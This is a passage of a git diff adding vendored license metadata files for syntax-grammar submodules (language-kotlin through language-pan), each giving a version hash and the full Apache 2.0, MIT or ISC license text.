+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2018 Nish Tahir
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+
+notices:
+- sources: NOTICE
+  text: "NOTICE file corresponding to the section 4 d of the Apache License, Version
+    2.0\n\nThis product includes software developed as part of: \nKotlin Sublime Text
+    2 Package (https://github.com/vkostyukov/kotlin-sublime-package).\n\nThis product
+    includes software developed as part of: \nVSCode Kotlin project (https://github.com/mathiasfrohlich/vscode-kotlin).\n\nCopyright
+    for portions of project `language-kotlin` are held by \n\n1. Vladimir Kostyukov,
+    2017 as part of project `vkostyukov/kotlin-sublime-package`\n2. Mathias Frøhlich,
+    2018 as part of project `mathiasfrohlich/vscode-kotlin`\n\nAll other copyright
+    for project `language-kotlin` are held by Nish Tahir 2018."
+...
diff --git a/vendor/licenses/git_submodule/language-less.dep.yml b/vendor/licenses/git_submodule/language-less.dep.yml
new file mode 100644
index 0000000000..06810df967
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-less.dep.yml
@@ -0,0 +1,56 @@
+---
+name: language-less
+version: 414bc39ae53df0c9e660e110b2952e480ba11474
+type: git_submodule
+homepage: https://github.com/atom/language-less.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/less.tmbundle and distributed under the following
+    license, located in `LICENSE.md`:
+
+    Copyright (c) 2010 Scott Kyle and Rasmus Andersson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-m68k.dep.yml b/vendor/licenses/git_submodule/language-m68k.dep.yml
new file mode 100644
index 0000000000..04c57cdde0
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-m68k.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-m68k
+version: f7f7bf11c322976bd9fd00a0d94a1cfc3d1c6c8f
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2015 François Galea
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-macaulay2.dep.yml b/vendor/licenses/git_submodule/language-macaulay2.dep.yml
new file mode 100644
index 0000000000..f45ff06cc7
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-macaulay2.dep.yml
@@ -0,0 +1,30 @@
+---
+name: language-macaulay2
+version: ee398efb8d5a05b78b4f5c47d74a46bd63487b2f
+type: git_submodule
+homepage: https://github.com/Macaulay2/language-macaulay2
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2017 marks1024, 2020 Mahrud Sayrafi
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-maxscript.dep.yml b/vendor/licenses/git_submodule/language-maxscript.dep.yml
new file mode 100644
index 0000000000..5f7300bff4
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-maxscript.dep.yml
@@ -0,0 +1,21 @@
+---
+type: git_submodule
+name: language-maxscript
+version: d873ebb6b8de284daede1e6de6c6133d1913ae05
+license: isc
+licenses:
+- text: |-
+    Copyright (c) 2015-2018, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-mermaid.dep.yml b/vendor/licenses/git_submodule/language-mermaid.dep.yml
new file mode 100644
index 0000000000..eaa7c45c28
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-mermaid.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-mermaid
+version: a8304d481981667aa3b14fb481ab79f32ce6efe6
+type: git_submodule
+homepage: https://github.com/Alhadis/language-mermaid.git
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2022-2023, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-meson.dep.yml b/vendor/licenses/git_submodule/language-meson.dep.yml
new file mode 100644
index 0000000000..9aa4041041
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-meson.dep.yml
@@ -0,0 +1,211 @@
+---
+name: language-meson
+version: 90269533120e84a9f5882346a8d646619e606b39
+type: git_submodule
+homepage: https://github.com/TingPing/language-meson
+license: apache-2.0
+licenses:
+- sources: LICENSE.md
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Sublime HQ Pty Ltd
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-msl.dep.yml b/vendor/licenses/git_submodule/language-msl.dep.yml
new file mode 100644
index 0000000000..0f55a48a97
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-msl.dep.yml
@@ -0,0 +1,34 @@
+---
+name: language-msl
+version: 7dd7bb90a06d4ab0e0cc11674078d97d3de9c84a
+type: git_submodule
+homepage: https://github.com/gen-angry/language-msl
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    MIT License
+
+    Copyright (c) 2020 Kedyn Macedonio
+    Copyright (c) 2017 lol2k
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: This project is made available under the MIT License.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-ncl.dep.yml b/vendor/licenses/git_submodule/language-ncl.dep.yml
new file mode 100644
index 0000000000..10bf491ebc
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-ncl.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: language-ncl
+version: ae46014e687be08bc4a47012fe3f21a31c081b61
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2015 Ryan Pavlick (github.com/rpavlick)
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-ninja.dep.yml b/vendor/licenses/git_submodule/language-ninja.dep.yml
new file mode 100644
index 0000000000..5ab8e587e4
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-ninja.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-ninja
+version: 207a60371f4c86d094dcad17e12ea57d4ca0eb7f
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2015 Kyle Howen
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-nunjucks.dep.yml b/vendor/licenses/git_submodule/language-nunjucks.dep.yml
new file mode 100644
index 0000000000..7882021ba0
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-nunjucks.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-nunjucks
+version: d865b2a667c53122e749b7d9698f1b2ac0258d98
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Olivia Haas
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-pan.dep.yml b/vendor/licenses/git_submodule/language-pan.dep.yml
new file mode 100644
index 0000000000..b4e6d810e3
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-pan.dep.yml
@@ -0,0 +1,41 @@
+---
+type: git_submodule
+name: language-pan
+version: fc6c535a6a5cc80ff3cdbdf63e80929ddcead893
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2014 GitHub Inc.
+
+    Copyright (c) 2017 Science & Technology Facilities Council
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
